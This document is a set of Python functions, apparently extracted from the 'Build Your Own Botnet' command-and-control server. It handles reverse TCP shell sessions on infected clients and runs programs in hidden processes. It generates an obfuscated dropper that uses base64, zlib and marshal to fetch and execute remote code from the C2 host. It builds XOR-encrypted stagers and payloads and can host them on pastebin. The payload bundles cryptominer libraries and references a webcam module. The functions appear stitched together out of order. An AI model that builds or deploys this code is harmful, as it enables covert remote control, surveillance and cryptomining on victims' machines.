def kill(self): """ Kill the reverse TCP shell session """ # get session attributes owner = self.info['owner'] session_id = self.info['id'] session_uid = self.info['uid'] # get owner sessions owner_sessions = self.c2.sessions.get(owner) # find this session in owner sessions if session_uid in owner_sessions: session = owner_sessions[session_uid] # set session status as offline in database session_dao.update_session_status(session_uid, 0) # send kill command to client and shutdown the connection try: session.send_task({"task": "kill"}) session.connection.shutdown(socket.SHUT_RDWR) session.connection.close() except: pass _ = owner_sessions.pop(session_uid, None) util.log('Session {}:{} disconnected'.format(owner, session_uid)) else: util.log('Session {}:{} is already offline.'.format( owner, session_uid))
def quit(self): """ Quit server and optionally keep clients alive """ # kill http servers hosting packages and modules globals()['package_handler'].terminate() globals()['module_handler'].terminate() # put sessions in passive mode for owner, sessions in self.sessions.items(): for session_id, session in sessions.items(): if isinstance(session, SessionThread): try: session.send_task({"task": "passive"}) except: pass # kill subprocesses (subprocess.Popen or multiprocessing.Process) for proc in self.child_procs.values(): try: proc.kill() except: pass try: proc.terminate() except: pass # forcibly end process globals()['__abort'] = True _ = os.popen("taskkill /pid {} /f".format(os.getpid()) if os.name == 'nt' else "kill {}".format(os.getpid())).read() util.log('Exiting...') sys.exit(0)
def serve_until_stopped(self): print('testing serve') while True: connection, address = self.socket.accept() session = SessionThread(connection=connection, c2=self) print(session) if session.info != None: # database stores identifying information about session session_dict = session_dao.handle_session(session.info) session.id = session_dict['id'] # display session information in terminal session_dict.pop('new', None) session.info = session_dict # add session to user sessions dictionary owner = session.info.get('owner') if owner not in self.sessions: self.sessions[owner] = {} self.sessions[owner][session.info.get('uid')] = session print('New session {}:{} connected'.format( owner, session.info.get('uid'))) else: util.log("Failed Connection: {}".format(address[0])) abort = globals()['__abort'] if abort: break
def _execute(self, args): # ugly method that should be refactored at some point path, args = [ i.strip() for i in args.split('"') if i if not i.isspace() ] if args.count('"') == 2 else [ i for i in args.partition(' ') if i if not i.isspace() ] args = [path] + args.split() if os.path.isfile(path): name = os.path.splitext(os.path.basename(path))[0] try: info = subprocess.STARTUPINFO() info.dwFlags = subprocess.STARTF_USESHOWWINDOW, subprocess.CREATE_NEW_ps_GROUP info.wShowWindow = subprocess.SW_HIDE self.child_procs[name] = subprocess.Popen(args, startupinfo=info) return "Running '{}' in a hidden process".format(path) except Exception as e: try: self.child_procs[name] = subprocess.Popen( args, 0, None, None, subprocess.PIPE, subprocess.PIPE) return "Running '{}' in a new process".format(name) except Exception as e: util.log("{} error: {}".format(self._execute.__name__, str(e))) else: return "File '{}' not found".format(str(path))
def __init__(self, connection=None, id=0): """ Create a new Session `Requires` :param connection: socket.socket object `Optional` :param int id: session ID """ super(SessionThread, self).__init__() self.created = datetime.utcnow() self.id = id self.connection = connection self.key = security.diffiehellman(self.connection) try: self.info = self.client_info() self.info['id'] = self.id except Exception as e: util.log("Error creating session: {}".format(str(e))) self.info = None
def recv_task(self): """ Receive and decrypt incoming task from server :returns dict task: :attr str uid: task ID assigned by server :attr str session: client ID assigned by server :attr str task: task assigned by server :attr str result: task result completed by client :attr datetime issued: time task was issued by server :attr datetime completed: time task was completed by client """ header_size = struct.calcsize('!L') header = self.connection.recv(header_size) if len(header) == 4: msg_size = struct.unpack('!L', header)[0] msg = self.connection.recv(8192) try: data = security.decrypt_aes(msg, self.key) return json.loads(data) except Exception as e: util.log("{0} error: {1}".format(self.recv_task.__name__, str(e))) return { "uid": uuid.uuid4().hex, "session": self.info.get('uid'), "task": "", "result": "Error: client returned invalid response", "issued": datetime.utcnow().__str__(), "completed": "" } else: # empty header; peer down, scan or recon. Drop. return 0
def _setup_server(self): # directory containing BYOB modules modules = os.path.abspath('buildyourownbotnet/modules') # directory containing user intalled Python packages site_packages = [ os.path.abspath(_) for _ in sys.path if os.path.isdir(_) if 'mss' in os.listdir(_) ] if len(site_packages): n = 0 globals()['packages'] = site_packages[0] for path in site_packages: if n < len(os.listdir(path)): n = len(os.listdir(path)) globals()['packages'] = path else: print( "unable to locate directory containing user-installed packages" ) sys.exit(0) tmp_file = open(".log", "w") # don't run multiple instances try: # serve packages globals()['package_handler'] = subprocess.Popen( '{0} -m {1} {2}'.format(sys.executable, http_serv_mod, self.port + 2), 0, None, subprocess.PIPE, stdout=tmp_file, stderr=tmp_file, cwd=globals()['packages'], shell=True) util.log("Serving Python packages from {0} on port {1}...".format( globals()['packages'], self.port + 2)) # serve modules globals()['module_handler'] = subprocess.Popen( '{0} -m {1} {2}'.format(sys.executable, http_serv_mod, self.port + 1), 0, None, subprocess.PIPE, stdout=tmp_file, stderr=tmp_file, cwd=modules, shell=True) util.log("Serving BYOB modules from {0} on port {1}...".format( modules, self.port + 1)) globals()['c2'] = self globals()['c2'].start() except Exception as e: print( "server.C2 failed to launch package_handler and module_handler. Exception: " + str(e))
def _dropper(options, **kwargs): assert 'url' in kwargs, "missing keyword argument 'url'" assert 'var' in kwargs, "missing keyword argument 'var'" assert 'hidden' in kwargs, "missing keyword argument 'hidden'" output_dir = os.path.join('output', options.owner, 'src') if not os.path.isdir(output_dir): try: os.makedirs(output_dir) except OSError: util.log("Permission denied: unable to make directory './output'") # add os/arch info to filename if freezing if options.freeze: name = 'byob_{operating_system}_{architecture}_{var}.py'.format( operating_system=options.operating_system, architecture=options.architecture, var=kwargs['var']) if not options.name else options.name else: name = 'byob_{var}.py'.format(var=kwargs['var']) if not name.endswith('.py'): name += '.py' name = os.path.join(output_dir, name) dropper = """import sys,zlib,base64,marshal,json,urllib if sys.version_info[0] > 2: from urllib import request urlopen = urllib.request.urlopen if sys.version_info[0] > 2 else urllib.urlopen exec(eval(marshal.loads(zlib.decompress(base64.b64decode({})))))""".format( repr( base64.b64encode( zlib.compress( marshal.dumps( "urlopen({}).read()".format(repr(kwargs['url'])), 2))))) with open(name, 'w') as fp: fp.write(dropper) util.display('({:,} bytes written to {})'.format(len(dropper), name), style='dim', color='reset') # cross-compile executable for the specified os/arch using pyinstaller docker containers if options.freeze: util.display('\tCompiling executable...\n', color='reset', style='normal', end=' ') name = generators.freeze(name, icon=options.icon, hidden=kwargs['hidden'], owner=options.owner, operating_system=options.operating_system, architecture=options.architecture) util.display('({:,} bytes saved to file: {})\n'.format( len(open(name, 'rb').read()), name)) return name
def _stager(options, **kwargs): assert 'url' in kwargs, "missing keyword argument 'url'" assert 'key' in kwargs, "missing keyword argument 'key'" assert 'var' in kwargs, "missing keyword argument 'var'" if options.encrypt: stager = open('core/stagers.py', 'r').read() + generators.main( 'run', url=kwargs['url'], key=kwargs['key']) else: stager = open('core/stagers.py', 'r').read() + generators.main( 'run', url=kwargs['url']) if not os.path.isdir('modules/stagers'): try: os.mkdir('modules/stagers') except OSError: util.log( "Permission denied: unable to make directory './modules/stagers/'" ) if options.compress: #util.display("\tCompressing stager... ", color='reset', style='normal', end=' ') __load__ = threading.Event() __spin__ = _spinner(__load__) output = generators.compress(stager) __load__.set() _update(stager, output, task='Compression') stager = output __load__ = threading.Event() __spin__ = _spinner(__load__) if options.pastebin: assert options.pastebin, "missing argument 'pastebin' required for option 'pastebin'" url = util.pastebin(stager, options.pastebin) else: dirs = [ 'modules/stagers', 'byob/modules/stagers', 'byob/byob/modules/stagers' ] dirname = '.' for d in dirs: if os.path.isdir(d): dirname = d path = os.path.join(os.path.abspath(dirname), kwargs['var'] + '.py') with open(path, 'w') as fp: fp.write(stager) s = 'http://{}:{}/{}'.format( C2_HOST, int(C2_PORT) + 1, pathname2url(path.replace(os.path.join(os.getcwd(), 'modules'), ''))) s = urlparse.urlsplit(s) url = urlparse.urlunsplit( (s.scheme, s.netloc, os.path.normpath(s.path), s.query, s.fragment)).replace('\\', '/') __load__.set() return url
def _payload(options, **kwargs): assert 'var' in kwargs, "missing keyword argument 'var'" assert 'modules' in kwargs, "missing keyword argument 'modules'" assert 'imports' in kwargs, "missing keyword argument 'imports'" loader = open('core/loader.py', 'r').read( ) #, generators.loader(host=C2_HOST, port=int(C2_PORT)+2, packages=list(kwargs['hidden'])))) test_imports = '\n'.join([ 'import ' + i for i in list(kwargs['hidden']) if i not in ['StringIO', '_winreg', 'pycryptonight', 'pyrx', 'ctypes'] ]) potential_imports = ''' try: import pycryptonight import pyrx except ImportError: pass ''' modules = '\n'.join(([ open(module, 'r').read().partition('# main')[2] for module in kwargs['modules'] ] + [ generators.main( 'Payload', **{ "host": C2_HOST, "port": C2_PORT, "pastebin": options.pastebin if options.pastebin else str(), "gui": "1" if options.gui else str(), "owner": options.owner }) + '_payload.run()' ])) payload = '\n'.join((loader, test_imports, potential_imports, modules)) if not os.path.isdir('modules/payloads'): try: os.mkdir('modules/payloads') except OSError: util.log( "Permission denied: unabled to make directory './modules/payloads/'" ) if options.compress: #util.display("\tCompressing payload... ", color='reset', style='normal', end=' ') __load__ = threading.Event() __spin__ = _spinner(__load__) output = generators.compress(payload) __load__.set() _update(payload, output, task='Compression') payload = output if options.encrypt: assert 'key' in kwargs, "missing keyword argument 'key' required for option 'encrypt'" __load__ = threading.Event() __spin__ = _spinner(__load__) output = security.encrypt_xor(payload, base64.b64decode(kwargs['key'])) __load__.set() _update(payload, output, task='Encryption') payload = output #util.display("\tUploading payload... ", color='reset', style='normal', end=' ') __load__ = threading.Event() __spin__ = _spinner(__load__) if options.pastebin: assert options.pastebin, "missing argument 'pastebin' required for option 'pastebin'" url = util.pastebin(payload, options.pastebin) else: dirs = [ 'modules/payloads', 'byob/modules/payloads', 'byob/byob/modules/payloads' ] dirname = '.' for d in dirs: if os.path.isdir(d): dirname = d path = os.path.join(os.path.abspath(dirname), kwargs['var'] + '.py') with open(path, 'w') as fp: fp.write(payload) s = 'http://{}:{}/{}'.format( C2_HOST, int(C2_PORT) + 1, pathname2url(path.replace(os.path.join(os.getcwd(), 'modules'), ''))) s = urlparse.urlsplit(s) url = urlparse.urlunsplit( (s.scheme, s.netloc, os.path.normpath(s.path), s.query, s.fragment)).replace('\\', '/') __load__.set() #util.display("(hosting payload at: {})".format(url), color='reset', style='dim') return url
def main(): parser = argparse.ArgumentParser( prog='server.py', description="Command & Control Server (Build Your Own Botnet)") parser.add_argument('--host', action='store', type=str, default='0.0.0.0', help='server hostname or IP address') parser.add_argument('--port', action='store', type=int, default=1337, help='server port number') parser.add_argument('--debug', action='store_true', help='Additional logging') parser.add_argument( '-v', '--version', action='version', version='0.5', ) # directory containing BYOB modules modules = os.path.abspath('buildyourownbotnet/modules') # directory containing user intalled Python packages site_packages = [ os.path.abspath(_) for _ in sys.path if os.path.isdir(_) if 'mss' in os.listdir(_) ] if len(site_packages): n = 0 globals()['packages'] = site_packages[0] for path in site_packages: if n < len(os.listdir(path)): n = len(os.listdir(path)) globals()['packages'] = path else: util.log( "unable to locate directory containing user-installed packages") sys.exit(0) args = [_ for _ in sys.argv if _.startswith('--')] options = parser.parse_args(args) tmp_file = open(".log", "w") # don't run multiple instances try: # serve packages globals()['package_handler'] = subprocess.Popen( '{0} -m {1} {2}'.format(sys.executable, http_serv_mod, options.port + 2), 0, None, subprocess.PIPE, stdout=tmp_file, stderr=tmp_file, cwd=globals()['packages'], shell=True) print("Serving Python packages from {0} on port {1}...".format( globals()['packages'], options.port + 2)) # serve modules globals()['module_handler'] = subprocess.Popen('{0} -m {1} {2}'.format( sys.executable, http_serv_mod, options.port + 1), 0, None, subprocess.PIPE, stdout=tmp_file, stderr=tmp_file, cwd=modules, shell=True) print("Serving BYOB modules from {0} on port {1}...".format( modules, options.port + 1)) # start c2 server globals()['c2'] = C2(host=options.host, port=options.port, debug=options.debug) globals()['c2'].start() except: pass
http_serv_mod = "SimpleHTTPServer" if sys.version_info[0] > 2: http_serv_mod = "http.server" sys.path.append('core') sys.path.append('modules') from buildyourownbotnet import db from buildyourownbotnet.core import dao, security, util from buildyourownbotnet.models import Session, Task # packages try: import cv2 except ImportError: util.log("Warning: missing package 'cv2' is required for 'webcam' module.") try: import colorama colorama.init() except ImportError: util.log("Warning: missing package 'colorama' is required.") try: raw_input # Python 2 except NameError: raw_input = input # Python 3 # globals __threads = {} __abort = False